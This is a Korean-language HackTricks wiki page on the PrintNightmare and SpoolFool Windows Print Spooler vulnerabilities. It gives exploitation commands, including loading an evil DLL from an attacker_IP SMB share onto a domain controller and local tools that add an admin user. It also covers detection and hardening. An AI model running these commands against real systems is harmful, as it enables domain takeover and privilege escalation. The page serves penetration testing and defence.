PrintNightmare (Windows Print Spooler RCE/LPE)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PrintNightmare๋Š” SYSTEM์œผ๋กœ์„œ์˜ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜๋Š” Windows Print Spooler ์„œ๋น„์Šค์˜ ์ทจ์•ฝ์  ์ง‘ํ•ฉ์— ๋ถ™์—ฌ์ง„ ์ด๋ฆ„์ด๋ฉฐ, ์Šคํ’€๋Ÿฌ๊ฐ€ RPC๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•  ๋•Œ **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๋ฐ ํŒŒ์ผ ์„œ๋ฒ„์—์„œ์˜ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)**์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์žฅ ๋„๋ฆฌ ์•…์šฉ๋œ CVE๋Š” CVE-2021-1675(์ดˆ๊ธฐ LPE๋กœ ๋ถ„๋ฅ˜๋จ)์™€ CVE-2021-34527(์ „์ฒด RCE)์ž…๋‹ˆ๋‹ค. ์ดํ›„์˜ ๋ฌธ์ œ์ธ **CVE-2021-34481 (โ€œPoint & Printโ€)**์™€ **CVE-2022-21999 (โ€œSpoolFoolโ€)**๋Š” ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ์—ฌ์ „ํžˆ ๋‹ซํžˆ์ง€ ์•Š์•˜์Œ์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค.


1. ์ทจ์•ฝํ•œ ๊ตฌ์„ฑ ์š”์†Œ ๋ฐ CVE

์—ฐ๋„CVE์งง์€ ์ด๋ฆ„์›์‹œ๋น„๊ณ 
2021CVE-2021-1675โ€œPrintNightmare #1โ€LPE2021๋…„ 6์›” CU์—์„œ ํŒจ์น˜๋˜์—ˆ์œผ๋‚˜ CVE-2021-34527์— ์˜ํ•ด ์šฐํšŒ๋จ
2021CVE-2021-34527โ€œPrintNightmareโ€RCE/LPEAddPrinterDriverEx๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ์›๊ฒฉ ๊ณต์œ ์—์„œ ๋“œ๋ผ์ด๋ฒ„ DLL์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉ
2021CVE-2021-34481โ€œPoint & Printโ€LPE๋น„๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž์˜ ์„œ๋ช…๋˜์ง€ ์•Š์€ ๋“œ๋ผ์ด๋ฒ„ ์„ค์น˜
2022CVE-2022-21999โ€œSpoolFoolโ€LPE์ž„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ƒ์„ฑ โ†’ DLL ์‹ฌ๊ธฐ โ€“ 2021๋…„ ํŒจ์น˜ ์ดํ›„์—๋„ ์ž‘๋™

๋ชจ๋‘ MS-RPRN / MS-PAR RPC ๋ฉ”์„œ๋“œ(RpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver) ๋˜๋Š” Point & Print ๋‚ด์˜ ์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.

2. ์•…์šฉ ๊ธฐ์ˆ 

2.1 ์›๊ฒฉ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ์†์ƒ (CVE-2021-34527)

์ธ์ฆ๋œ ๊ทธ๋Ÿฌ๋‚˜ ๋น„ํŠน๊ถŒ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋Š” ๋‹ค์Œ์„ ํ†ตํ•ด ์›๊ฒฉ ์Šคํ’€๋Ÿฌ(์ข…์ข… DC)์—์„œ NT AUTHORITY\SYSTEM์œผ๋กœ ์ž„์˜ DLL์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

์ธ๊ธฐ ์žˆ๋Š” PoC์—๋Š” CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) ๋ฐ Benjamin Delpy์˜ misc::printnightmare / lsa::addsid ๋ชจ๋“ˆ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค mimikatz.

2.2 ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน (์ง€์›๋˜๋Š” ๋ชจ๋“  Windows, 2021-2024)

๊ฐ™์€ API๋ฅผ ๋กœ์ปฌ์—์„œ ํ˜ธ์ถœํ•˜์—ฌ C:\Windows\System32\spool\drivers\x64\3\์—์„œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•˜๊ณ  SYSTEM ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) โ€“ 2021 ์ˆ˜์ • ์‚ฌํ•ญ ์šฐํšŒ

Microsoft์˜ 2021 ํŒจ์น˜๋Š” ์›๊ฒฉ ๋“œ๋ผ์ด๋ฒ„ ๋กœ๋”ฉ์„ ์ฐจ๋‹จํ–ˆ์ง€๋งŒ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ถŒํ•œ์„ ๊ฐ•ํ™”ํ•˜์ง€๋Š” ์•Š์•˜์Šต๋‹ˆ๋‹ค. SpoolFool์€ SpoolDirectory ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์•…์šฉํ•˜์—ฌ C:\Windows\System32\spool\drivers\ ์•„๋ž˜์— ์ž„์˜์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ํŽ˜์ด๋กœ๋“œ DLL์„ ๋“œ๋กญํ•œ ํ›„ ์Šคํ’€๋Ÿฌ๊ฐ€ ์ด๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค:

# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ 2022๋…„ 2์›” ์—…๋ฐ์ดํŠธ ์ด์ „์˜ ์™„์ „ํžˆ ํŒจ์น˜๋œ Windows 7 โ†’ Windows 11 ๋ฐ Server 2012R2 โ†’ 2022์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.


3. ํƒ์ง€ ๋ฐ ํ—ŒํŒ…

  • ์ด๋ฒคํŠธ ๋กœ๊ทธ โ€“ Microsoft-Windows-PrintService/Operational ๋ฐ Admin ์ฑ„๋„์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ด๋ฒคํŠธ ID 808 โ€œํ”„๋ฆฐํŠธ ์Šคํ’€๋Ÿฌ๊ฐ€ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹คโ€ ๋˜๋Š” RpcAddPrinterDriverEx ๋ฉ”์‹œ์ง€๋ฅผ ์ฃผ์˜ ๊นŠ๊ฒŒ ์‚ดํŽด๋ณด์„ธ์š”.
  • Sysmon โ€“ Event ID 7 (์ด๋ฏธ์ง€ ๋กœ๋“œ๋จ) ๋˜๋Š” 11/23 (ํŒŒ์ผ ์“ฐ๊ธฐ/์‚ญ์ œ) C:\Windows\System32\spool\drivers\* ๋‚ด์—์„œ ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค๊ฐ€ spoolsv.exe์ผ ๋•Œ.
  • ํ”„๋กœ์„ธ์Šค ๊ณ„๋ณด โ€“ spoolsv.exe๊ฐ€ cmd.exe, rundll32.exe, PowerShell ๋˜๋Š” ์„œ๋ช…๋˜์ง€ ์•Š์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๊ฒฝ๊ณ .

4. ์™„ํ™” ๋ฐ ๊ฐ•ํ™”

  1. ํŒจ์น˜! โ€“ Print Spooler ์„œ๋น„์Šค๊ฐ€ ์„ค์น˜๋œ ๋ชจ๋“  Windows ํ˜ธ์ŠคํŠธ์— ์ตœ์‹  ๋ˆ„์  ์—…๋ฐ์ดํŠธ๋ฅผ ์ ์šฉํ•˜์„ธ์š”.
  2. ํ•„์š”ํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ์Šคํ’€๋Ÿฌ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”, ํŠนํžˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. ์›๊ฒฉ ์—ฐ๊ฒฐ์„ ์ฐจ๋‹จํ•˜๋˜ ๋กœ์ปฌ ์ธ์‡„๋Š” ํ—ˆ์šฉํ•˜์„ธ์š” โ€“ ๊ทธ๋ฃน ์ •์ฑ…: ์ปดํ“จํ„ฐ ๊ตฌ์„ฑ โ†’ ๊ด€๋ฆฌ ํ…œํ”Œ๋ฆฟ โ†’ ํ”„๋ฆฐํ„ฐ โ†’ ํด๋ผ์ด์–ธํŠธ ์—ฐ๊ฒฐ ์ˆ˜๋ฝ์„ ์œ„ํ•œ ํ”„๋ฆฐํŠธ ์Šคํ’€๋Ÿฌ ํ—ˆ์šฉ = ๋น„ํ™œ์„ฑํ™”.
  2. ํฌ์ธํŠธ ๋ฐ ํ”„๋ฆฐํŠธ๋ฅผ ์ œํ•œํ•˜์—ฌ ๊ด€๋ฆฌ์ž๋งŒ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์„ ์„ค์ •ํ•˜์„ธ์š”:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

์ž์„ธํ•œ ์•ˆ๋‚ด๋Š” Microsoft KB5005652์—์„œ ํ™•์ธํ•˜์„ธ์š”.


5. ๊ด€๋ จ ์—ฐ๊ตฌ / ๋„๊ตฌ

  • mimikatz printnightmare ๋ชจ๋“ˆ
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • SpoolFool ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฐ ์ž‘์„ฑ
  • SpoolFool ๋ฐ ๊ธฐํƒ€ ์Šคํ’€๋Ÿฌ ๋ฒ„๊ทธ์— ๋Œ€ํ•œ 0patch ๋งˆ์ดํฌ๋กœํŒจ์น˜

์ถ”๊ฐ€ ์ฝ๊ธฐ (์™ธ๋ถ€): 2024 ์—ฐ์Šต ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ ํ™•์ธ โ€“ PrintNightmare ์ทจ์•ฝ์  ์ดํ•ดํ•˜๊ธฐ

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ